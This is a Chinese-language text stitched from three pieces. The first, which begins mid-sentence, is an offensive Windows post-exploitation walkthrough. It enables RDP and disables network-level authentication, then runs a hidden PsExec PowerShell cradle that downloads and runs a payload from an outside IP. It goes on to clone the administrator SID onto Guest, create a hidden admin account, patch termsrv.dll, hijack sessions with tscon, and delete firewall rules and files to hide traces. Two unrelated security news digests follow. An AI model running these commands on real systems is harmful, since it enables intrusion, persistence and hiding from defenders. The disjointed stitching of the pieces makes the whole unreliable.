1（开启） wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0（关闭） 有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项，我们也可以通过注册表进行关闭，避免影响连接（开启同理0替换成1） REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f 为了避免运维人员更改了RDP端口，可以确认下RDP端口 reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber 正常若是3389端口为0xd3d（默认是十六进制表示） 在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通，这里防火墙设置只允许单独端口放通，减少运维人员的警觉（只允许3389端口放通） netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow 通过命令删除防火墙的通行策略（清理痕迹） netsh advfirewall firewall delete rule name="RemoteDesktop" 克隆账户接管administrator桌面 适用场景 在无法获取明文密码或者Hash等凭据，但是想接管实时的administrator桌面 利用步骤（默认情况下需要system权限） 在administrator权限下进行切换（利用PsExec工具进行powershell无文件落地上线system权限） shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))"" （-accepteula同意最终用户许可协议End User License Agreement，否则会弹窗无法运行） 查询用户的SID，方便选择克隆对象（常克隆Guest用户，系统自带不易察觉且默认的SID为501） 这里克隆administrator用户为Guest用户，将SID为500（对应十六进制为0x1f4）的管理员账号的相关信息导出为admin.reg regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 将注册表文件下载到本地方便编辑（下载后默认在本地CS目录的下的download文件夹下，文件下载后需要重命名） download admin.reg 将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5（十六进制），并保存为new.reg（方便区分） 将new.reg重新上传到受害机中 导入编辑好的new.reg文件 regedit /s new.reg 修改Guest密码便于远程登录，并及时清理两个reg文件 net user Guest Admin@123 del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg 此时直接进行远程登录Guest账户，其实是administrator账户的系统，成功接管！ 新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面 适用场景 在无法获取明文密码或者Hash等凭据，但是想接管实时的administrator桌面 利用步骤 添加新隐藏用户 net user yuzi$ Admin@123 /add 将新隐藏用户添加到管理员组 net localgroup administrators yuzi$ /add 此时直接进行远程登录隐藏账户，进行图形化操作 若遇到对方已有用户在线，可能会出现以下界面（Windows sever版本默认支持多用户同时在线，Windows其他版本不支持） 此时为了做到更加隐蔽的进行登录（强迫登录会使对方会话掉线），可以修改termsrv.dll文件实现，操作前要将所有权转移给本地管理员，向本地管理员组授予对termsrv.dll文件的“完全控制”权限（若是通过powershell无文件远控的形式执行如下命令可能会出现问题，则需要在可执行木马的远控场景执行命令） takeown /F c:\Windows\System32\termsrv.dll /A icacls c:\Windows\System32\termsrv.dll /grant Administrators:F 修改系统文件可能会导致系统不稳定，确保有原始termsrv.dll文件的备份 copy c:\Windows\System32\termsrv.dll termsrv.dll_backup 接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地 download c:\Windows\System32\termsrv.dll 在编辑dll前需要确认当前系统的版本号，查看Windows的版本号 powershell Get-ComputerInfo -Property WindowsVersion, OsName 通过十六进制文本编辑器进行编辑termsrv.dll文件，按照不同的Windows的版本查找对应的字符串标识，替换为B8 00 01 00 00 89 81 38 06 00 00 90 修改完成后上传至对方，进行强制替换系统自带的termsrv.dll，（替换前需要先停止远程服务，以免发生冲突，替换后再重新启用远程服务） net stop TermService /y copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll net start TermService 重新进行3389远程连接，发现已经可以直接登录到新建隐藏管理员桌面，不再出现提示页面 借助Windows的特性，直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行（这里以GotoHTTP为例） 在攻击机本地进行GotoHTTP远程桌面时候，发现已经成功接管了administrator的实时桌面（由于GotoHTTP是以管理员身份运行的故显示的administrator桌面） 若运气不好，发现利用GotoHTTP远程后在锁定页面，此时还可以配合会话劫持进行接管administrator实时桌面 接下来进行劫持（劫持administrator的会话），查询可劫持的会话 quser 以管理员权限运行cmd，创建服务（用于会话劫持的权限需要system，恰好Windows的服务是以system权限运行，其中的1为需要劫持的ID值） sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console" 启动并且删除服务后，发现此时的GotoHTTP页面已经成功进入解锁状态的桌面 sc start rdp & sc delete rdp & exit 远程结束后进行删除隐藏用户（清理痕迹，这类隐藏用户容易发现） net user yuzi$ /delete

1、恶意软件Turla利用LNK文件逃避技术发动新攻击 https://www.gdatasoftware.com/blog/2024/07/37977-turla-evasion-lnk-files 研究人员发现，恶意软件Turla利用恶意LNK文件发动新攻击。该攻击使用快捷方式文件执行无文件后门，通过内存修补、绕过AMSI、禁用系统事件日志等手段逃避检测。感染始于一个被入侵的菲律宾媒体网站，通过伪装成PDF文档的LNK文件进行传播。该恶意软件利用msbuild.exe加载后门，创建计划任务以达成持久化驻留。 2、Anatsa恶意软件利用Google Play应用进行传播 https://cybersecuritynews.com/malicious-qr-reader 研究人员最近在Google Play上发现了一个恶意二维码阅读器应用，该应用传播了Anatsa银行恶意软件，这是一种专门窃取用户敏感银行信息的恶意程序。目前该应用下载次数已达数千，对用户财务数据构成严重威胁。Anatsa恶意软件具备键盘记录、覆盖攻击和远程访问等高级功能，难以被传统安全措施检测。谷歌已迅速响应，从Play Store中移除了该应用，并加强了应用审查流程。 3、研究人员揭露Eldorado勒索软件新动态 https://www.group-ib.com/blog/eldorado-ransomware/ Eldorado勒索软件自3月份起便成为网络安全的新威胁，其RaaS模式已导致16家公司遭受攻击，主要在美国，影响房地产、教育、医疗保健和制造业等行业。研究人员发现，Eldorado的犯罪团伙在RAMP论坛上积极推广其恶意服务，并寻求合作伙伴。该勒索软件基于Go语言，能够加密Windows和Linux平台，在加密过程中会生成独特的密钥，并将勒索信放置在用户的文档和桌面文件夹中。研究人员强调Eldorado是一个独立的新威胁，并非现有勒索软件组织的分支。 4、Ghostscript存在沙盒绕过远程代码执行漏洞 https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ 近日，一个被标记为中等严重性的Ghostscript漏洞（CVE-2024-29510）引发了安全研究人员的关注。研究人员揭露了一种攻击者可以绕过 Ghostscript默认沙盒设置并实现远程代码执行的方法。由于Ghostscript广泛用于Web应用程序和云服务中，用于文档转换和预览，因此该漏洞对这些服务构成了重大安全威胁。随着PoC的发布和漏洞受到更多关注，专家们强调了立即更新Ghostscript的紧迫性 5、研究人员公布Mallox勒索软件新变种解密器 https://www.uptycs.com/blog/mallox-ransomware-linux-variant-decryptor-discovered 网络安全研究人员公布了一种针对Linux系统，名为Mallox的勒索软件变种，目前其解密器已被发现。Mallox勒索软件自2021年中期以来一直活跃，此次变种使用Python脚本进行数据加密，并通过TOR网络进行数据泄露威胁。攻击者通过自定义脚本创建勒索软件加密器和解密器，加密文件后附加.lmallox扩展名，研究人员提供了寻找Mallox基础设施的方法，包括在FOFA和Censys上执行特定查询。 6、多国政府邮件服务器遭ProxyLogon与ProxyShell漏洞攻击 https://hunt.io/blog/proxylogon-and-proxyshell-used-to-target-government-mail-servers-in-asia-europe-and-south-america 据网络安全研究人员分析，一系列政府邮件服务器近期遭受了利用ProxyLogon和ProxyShell漏洞的网络攻击。这些攻击影响了多个国家和地区的政府机构，包括阿富汗、格鲁吉亚、阿根廷和老挝。攻击者通过一个在DigitalOcean上的服务器，通过公开的漏洞成功获取了对邮件服务器的未授权访问，并下载了官员间的通信记录。这一事件暴露了即使在漏洞被广泛知晓后，由 7、Microsoft SmartScreen漏洞被用于垃圾邮件攻击 https://cyble.com/blog/increase-in-the-exploitation-of-microsoft-smartscreen-vulnerability-cve-2024-21412/ 研究人员发现一个利用Microsoft SmartScreen漏洞（CVE-2024-21412）的垃圾邮件攻击活动正在增加。攻击者通过精心设计的电子邮件诱饵，包括医疗保险、交通通知和税务相关主题，诱导用户下载并执行恶意负载。攻击链涉及多阶段利用，包括forfiles.exe、PowerShell、mshta等合法工具，以及DLL侧加载和IDATLoader技术，最终部署Lumma 8、Roblox公司由于第三方服务商导致数据泄露 https://thecyberexpress.com/third-party-data-breach-exposes-roblox-data/ Roblox公司经历了一起数据泄露事件，该事件源自其年度开发者大会的第三方服务提供商。这次泄露涉及了通过第三方平台注册的现场和在线与会者的数据，包括全名、电子邮件和IP地址。Roblox公司，作为一家拥有超过2.14亿月活跃玩家的视频游戏开发商，主要用户群体为青少年，其数据安全尤为重要。尽管公司未确认是否有其他数据受到影响，但已在努力加强安全措施，以避免未来发生类似事件。与此同时，其他游戏平台如Teenpatti.com、Mobile Premie 9、Splunk修复关键远程代码执行漏洞 https://thecyberexpress.com/updates-released-for-splunk-vulnerability/ Splunk公司发布了一系列安全更新，以解决其Splunk Enterprise和云平台上的16个漏洞，其中包括高严重漏洞CVE-2024-36985，这是一个通过外部查找机制导致的远程代码执行(RCE)漏洞。此漏洞影响9.0.10、9.1.5和9.2.2之前的版本，攻击者可以利用它执行任意命令。Splunk建议用户立即更新至最新版本或暂时禁用受影响的应用程序以降低风险。此外，还包括了对跨站点脚本(XSS)、命令注入、拒绝服务(DoS)和不安全文件上传 10、南非国家医疗实验室遭勒索软件攻击，所有备份被清空 https://www.freebuf.com/news/405387.html 南非国家卫生实验室服务局（NHLS）是由政府运营的医疗检测实验室网络，该机构在从勒索软件攻击中恢复的过程中继续奋战，勒索软件攻击破坏了系统并删除了备份。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、APT44等组织对丹麦多个机构发起DDoS攻击 https://thecyberexpress.com/alleged-ddos-attack-on-denmark/ 安全研究人员发现丹麦遭遇了一系列DDoS攻击，据称由APT44和NoName057策划。这些攻击被认为是对丹麦空军司令Jan Dam宣布的再训练50名乌克兰F-16飞行员计划的回应。受影响的组织包括24tech.dk、丹麦税务局、丹麦国家银行、MitID和丹麦政府采购网站udbud.dk。这些攻击不仅影响了丹麦，也可能对整个欧洲和英国产生影响。目前，受影响组织尚未发表声明，攻击的真实性尚未得到证实。 2、研究人员发现针对HTTP文件服务器大规模攻击事件 https://asec.ahnlab.com/ko/67571/ 近日，安全研究人员发现针对HTTP文件服务器（HFS）的大规模攻击事件。HFS的2.3m版本被发现存在远程代码执行漏洞CVE-2024-23692，该漏洞允许攻击者通过发送恶意数据包来执行命令。概念验证（PoC）的发布加速了攻击的扩散，导致多种恶意软件如CoinMiner、RAT等被植入受影响的服务器。攻击者利用这一漏洞安装了XMRig CoinMiner进行加密货币挖掘，同时部署了LemonDuck等后门软件，进一步控制受感染的系统。研究人员警告，HFS用户应立即更新至最新版本，并加强网络安全防护措施，以防止此类攻击。 3、三菱电机发布漏洞列表并呼吁用户更新补丁 https://jvn.jp/vu/JVNVU98894016/ 近日，三菱电机的GENESIS64和MC Works64软件被披露存在多个重大安全漏洞，这些漏洞可能对工业控制系统的完整性和可用性构成威胁。具体漏洞包括资源分配不当、数字签名验证不足以及文件搜索路径控制缺陷，可能导致拒绝服务攻击和未授权程序执行。这些漏洞已被分配了CVE标识符，并通过CVSS评分系统进行了严重性评估。三菱电机建议用户立即应用安全补丁，加强网络安全措施，包括部署防火墙、限制物理访问、警惕未知来源的电子邮件附件和链接。 4、黑客组织声称窃取44万张Taylor Swift演唱会门票 https://hackread.com/ticketmaster-breach-shinyhunters-leak-taylor-swift-eras-tour-tickets/ ShinyHunters黑客组织披露了对Ticketmaster的大规模数据泄露事件，其中包括440000张泰勒·斯威夫特时代巡回演唱会门票的条形码，总计1.93亿条，涉及金额高达220亿美元。泄露的数据不仅包括门票信息，还有销售订单、订单详情、客户查询记录、电子邮件地址、信用卡信息等敏感数据。此次事件被认为是公开披露的最大规模客户个人信息泄露之一，对Ticketmaster的声誉和客户信任造成了严重损害，并使数 5、Shopify数据泄露事件疑与Evolve银行被入侵有关 https://thecyberexpress.com/hacker-shopify-data-breach/ 近日，一名自称为“888”的网络威胁行为体在BreachForums上分享了据称从Shopify平台窃取的数据，暗示此次数据泄露可能与Shopify Balance的合作伙伴Evolve Bank and Trust近期遭受的网络安全事件有关。据称，泄露的数据包括用户的个人详细信息、电子邮件订阅以及订单信息。Shopify是一家提供电子商务平台和集成服务的加拿大跨国企业，此次泄露的数据量高达179,873条记录。Evolve Bank and Trust作为Shopify Bala 6、以太坊邮件泄露引发3万多用户面临网络钓鱼风险 https://blog.ethereum.org/2024/07/02/blog-incident 以太坊社区（ethereum）遭遇了一起严重的网络安全事件。一名黑客成功入侵了以太坊的邮件列表提供商，并向35794个地址发送了包含恶意链接的钓鱼邮件。邮件伪装成来自ethereum.org的官方通知，诱使用户访问一个假冒网站，该网站部署了加密货币消耗器，意图清空用户的数字钱包。以太坊迅速响应，内部安全团队展开调查，并及时阻止了进一步的邮件发送。同时，通过社交媒体向社区发出警告，并与Web3钱包提供商合作，将恶意链接加入黑名单，避免了用户损失。 7、针对拉丁美洲金融系统Mekotio木马使用量激增 https://www.trendmicro.com/en_us/research/24/g/mekotio-banking-trojan.html 网络安全研究人员发现，一种名为Mekotio的银行木马病毒在拉丁美洲的金融系统中使用量激增。自2015年起，该恶意软件便活跃于巴西、智利、墨西哥、西班牙和秘鲁等国，专门窃取银行凭证等敏感信息。Mekotio通过伪装成税务机构的网络钓鱼邮件，诱使受害者下载并执行恶意软件，进而收集系统信息、执行凭证盗窃、信息收集以及维持其在受感染系统中的持久性。研究人员警告，Mekotio可能使受害者无法访问合法银行网站，并建议采取一系列预防措施，包括对未经请求的 8、开源云计算平台OpenStack组件中发现严重安全漏洞 https://cybersecuritynews.com/openstack-arbitrary-file-access-flaw/ 开源云计算平台OpenStack的Nova和Glance组件中发现严重安全漏洞CVE-2024-32498，允许攻击者未经授权访问主机系统上的任意文件。此漏洞可能暴露敏感数据，如用户数据、系统配置和安全凭证，增加数据泄露和系统完整性受损的风险。Red Hat将该漏洞评为严重，并由CVSS分配高严重性分数。Red Hat和OpenStack社区已发布补丁，建议用户立即更新并加强安全配置和监控，以保护云数据安全。 9、GeoServer和GeoTools修复严重XPath注入漏洞 https://thecyberexpress.com/xpath-expression-injection-vulnerabilities/ 开源地理空间数据处理工具GeoServer和GeoTools近期解决了两个严重的XPath表达式注入漏洞，这些漏洞被标识为CVE-2024-36401和CVE-2024-36404，存在远程代码执行的风险。漏洞允许攻击者通过OGC请求参数注入恶意XPath表达式，从而可能损害地理空间数据的安全性。受影响的版本包括GeoServer的2.23.6之前版本、2.24.0至2.25.1版本，以及GeoTools的29.6之前版本、30.0至31.1版本。官 10、Cloudflare将服务器中断归咎于BGP劫持事件 https://www.bleepingcomputer.com/news/security/cloudflare-blames-recent-outage-on-bgp-hijacking-incident/ Cloudflare近期遭遇了一次服务中断，其的1.1.1.1 DNS解析器服务在多个国家无法访问或性能下降。该事件归因于边界网关协议（BGP）劫持和路由泄漏，影响了70个国家的300个网络。Cloudflare迅速响应，通过与相关网络沟通和禁用问题对等会话来减轻影响，并在两小时内解决了劫持问题，路由泄漏也在数小时内得到修复。Cloudflare在其事后报告中提出了一系列长期解决方案 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。